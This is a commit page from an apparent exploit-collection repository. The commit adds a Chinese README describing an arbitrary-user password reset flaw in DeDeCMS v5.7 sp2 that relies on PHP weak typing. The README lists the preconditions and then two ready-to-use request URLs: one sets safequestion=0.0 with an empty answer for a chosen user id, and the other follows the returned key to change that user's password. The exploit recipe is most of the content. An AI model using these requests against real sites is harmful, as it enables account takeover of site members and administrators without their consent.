admin/0day
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

add DeDeCMS_v5.7_sp2任意用户密码重置漏洞

Browse Source
This commit is contained in:
Mr5m1th 2018-03-08 17:17:53 +08:00
parent 2301ed51d5
commit 66d2215aa0
1 changed files with 11 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

11
CMS/DeDeCMS/DeDeCMS_v5.7_sp2/Any_user_passwd_reset/README.md Normal file
View File

@ -0,0 +1,11 @@
# 任意用户密码重置漏洞(利用弱类型)
## Reference
* [https://xianzhi.aliyun.com/forum/topic/1926](https://xianzhi.aliyun.com/forum/topic/1926)
## 利用条件
* 管理员开启了会员功能
* 该会员没有设置安全问题
## 利用方式
step1: 访问 URL + /member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1[修改密码的id]
step2: 访问源码中的跳转链接类似于 URL + member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo 修改密码即可